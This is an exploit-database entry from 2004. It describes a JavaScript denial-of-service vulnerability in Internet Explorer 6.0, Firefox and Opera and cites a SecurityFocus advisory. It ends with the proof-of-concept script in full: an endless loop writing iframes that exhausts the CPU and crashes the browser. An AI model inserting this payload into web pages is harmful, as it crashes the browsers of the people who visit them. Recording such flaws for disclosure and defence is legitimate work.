Microsoft Internet Explorer 6.0 Firefox 0.80.9.x - JavaScript Denial of Service

2004-08-23T00:00:00
ID EXPLOITPACK:EBAB611959669ECC2CB2CA2B32B0B498
Type exploitpack
Reporter MeFakon
Modified 2004-08-23T00:00:00

Description

Microsoft Internet Explorer 6.0 Firefox 0.80.9.x - JavaScript Denial of Service

                                        
                                            source: https://www.securityfocus.com/bid/10998/info

Web browsers from various vendors are reported prone to a JavaScript denial-of-service vulnerability.

The specified JavaScript code will consume 100% of the CPU resources of the affected computer, crashing the browser.

Mozilla Firefox, Microsoft Internet Explorer, and Opera are all reportedly affected by this vulnerability.

<scr1pt language="JavaScript">
while(true)
{
document.write("<iframe src=\"C:\Windows\system32\"></iframe>");
}
</scr1pt>